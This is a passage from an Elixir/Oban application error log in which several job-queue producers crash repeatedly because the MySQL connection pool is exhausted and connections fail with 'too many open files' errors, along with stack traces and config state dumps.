    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:02:29.254737Z], limit: 3, uuid: "8660b63e-1000-4841-a2e7-ae252e50c28d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:29.254742Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.259660>, refresh_timer: #Reference<0.2525715032.1099169794.259644>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:43.312000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:46.249000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:47.183000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:49.448000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:50.664000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:51.167000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:53.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:02:41.240711Z], limit: 50, uuid: "d6f94227-bf56-429a-97a7-c1969213c6dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:41.240716Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104247>, refresh_timer: #Reference<0.2525715032.1068236804.249605>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:53.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:02:41.238651Z], limit: 5, uuid: "bfcd5cba-fa27-43a9-883a-cea49f3d3c8b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:41.238657Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104245>, refresh_timer: #Reference<0.2525715032.1068236804.249564>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:53.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:02:41.238476Z], limit: 10, uuid: "8296e4f5-6b60-4d43-abaa-c38b4bc567fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:41.238486Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104244>, refresh_timer: #Reference<0.2525715032.1068236804.249556>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:53.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:02:41.240732Z], limit: 5, uuid: "1093bd37-5291-4624-a230-4dbcbf098b97", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:41.240738Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104246>, refresh_timer: #Reference<0.2525715032.1068236804.249607>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:53.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:02:41.241658Z], limit: 3, uuid: "c7f1803c-6cae-435c-b9d1-ba9b4ff26317", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:41.241664Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104242>, refresh_timer: #Reference<0.2525715032.1099169794.259791>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:53.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:02:41.240548Z], limit: 20, uuid: "7ac0d332-1e83-4704-b448-e7e65438ef35", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:41.240555Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104243>, refresh_timer: #Reference<0.2525715032.1068236804.249596>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:55.649000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:58.709000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:58.802000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:58.841000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:59.818000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:03.482000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:05.536000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:02:53.241971Z], limit: 10, uuid: "228af5aa-461e-4fe7-b57b-4f0eea8db488", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:53.241976Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.233883>, refresh_timer: #Reference<0.2525715032.1077411843.233854>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:05.541000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:02:53.242742Z], limit: 20, uuid: "0b00127f-159c-4144-a348-1e81a681e809", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:53.242747Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104491>, refresh_timer: #Reference<0.2525715032.1077411843.233867>, dispatch_cooldown: 5, running: %{}}
